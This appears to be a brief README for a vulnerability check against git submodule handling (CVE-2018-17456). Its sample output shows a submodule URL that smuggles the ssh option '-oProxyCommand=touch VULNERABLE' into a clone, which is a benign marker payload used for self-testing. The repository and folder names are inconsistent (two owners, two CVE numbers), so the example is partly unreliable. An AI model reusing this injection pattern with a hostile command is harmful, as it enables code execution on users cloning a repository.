This module can be used to test whether you are vulnerable to CVE-2018-17456
git clone https://github.com/timwr/CVE-2018-17456.git --recurse-submodules
ls CVE-2017-1000117
Output if you are vulnerable:
$ git clone https://github.com/xichawai/CVE-2018-17456.git --recurse-submodules
Cloning into 'CVE-2017-1000117'...
remote: Counting objects: 4, done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 4 (delta 0), reused 4 (delta 0), pack-reused 0
Unpacking objects: 100% (4/4), done.
Submodule 'test' (ssh://-oProxyCommand=touch VULNERABLE/git@github.com:/timwr/test.git) registered for path 'test'
Cloning into './CVE-2017-1000117/test'...
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.
$ ls CVE-2018-17456
README.md VULNERABLE
If you see VULNERABLE then you are vulnerable and need to update your git client